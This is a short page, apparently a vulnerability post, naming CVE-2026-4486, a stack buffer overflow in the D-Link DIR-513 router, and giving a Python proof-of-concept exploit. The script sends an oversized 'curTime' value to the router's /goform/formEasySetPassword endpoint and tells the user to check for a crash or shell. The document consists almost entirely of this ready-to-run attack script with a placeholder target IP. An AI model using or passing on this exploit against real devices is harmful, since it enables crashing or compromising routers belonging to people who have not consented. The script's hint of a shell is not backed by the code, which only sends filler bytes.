CVE-2026-4486 D-Link DIR-513 栈溢出漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/goform/formEasySetPassword" # The vulnerable parameter is 'curTime'. # Sending a large payload triggers the stack-based buffer overflow. payload = { "curTime": "A" * 1000 } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=payload, timeout=5) print(f"[+] Request sent. Status code: {response.status_code}") print("[+] Check the device for a crash or shell.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)